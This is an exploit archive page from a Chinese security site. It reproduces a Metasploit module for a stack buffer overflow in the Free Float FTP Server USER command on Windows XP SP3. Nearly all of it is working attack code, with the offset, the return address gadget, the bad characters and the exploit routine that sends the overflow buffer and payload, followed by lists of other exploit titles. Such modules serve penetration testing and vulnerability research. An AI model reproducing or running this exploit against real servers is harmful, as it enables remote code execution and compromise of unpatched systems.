首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Free Float FTP Server USER Command Buffer Overflow
来源:metasploit.com 作者:D35m0nd142 发布时间:2013-04-18  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#	http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'			 => 'Free Float FTP Server USER Command Buffer Overflow',
			'Description'	 => %q{
					Freefloat FTP Server is prone to an overflow condition. It
				fails to properly sanitize user-supplied input resulting in a
				stack-based buffer overflow. With a specially crafted 'USER'
				command, a remote attacker can potentially have an unspecified
				impact.
			},
			'Platform'		 => 'win',
			'Author'		 =>
				[
					'D35m0nd142', # Original exploit
					'Doug Prostko <dougtko[at]gmail.com>' # MSF module
				],
			'License'		 => MSF_LICENSE,
			'References'	 =>
				[
					[ 'OSVDB', '69621'],
					[ 'EDB', '23243']
				],
			'Privileged'	 => false,
			'Payload'		 =>
				{
					'Space'          => 444,
					'DisableNops'    => true,
					'BadChars'       => "\x00\x0a\x0d",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Targets'		=>
				[
					[ 'FreeFloat / Windows XP SP3',
						{
							'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
							'Offset'   => 230
						}
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 12 2012'))
	end

	def check
		connect
		disconnect
		if (banner =~ /FreeFloat/)
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		connect
		buf = rand_text(target['Offset'])
		buf << [ target['Ret'] ].pack('V')
		buf << rand_text(8)
		buf << payload.encoded
		send_user(buf)
		disconnect
	end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ruby Gem md2pdf Command Inject
·SAP ConfigServlet OS Command E
·MinaliC Webserver 2.0.0 - Buff
·TP-LINK TL-WR741N / TL-WR741ND
·AT-TFTP Server 2.0 - Stack Bas
·Mikrotik Syslog Server Remote
·KNet Web Server 1.04b - Stack
·MinaliC Webserver 2.0.0 Buffer
·Nagios Remote Plugin Executor
·Netgear DGN2200B pppoe.cgi Rem
·Ruby Gem kelredd-pruview 0.3.8
·FirePHP Firefox Plugin 0.7.1 -
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved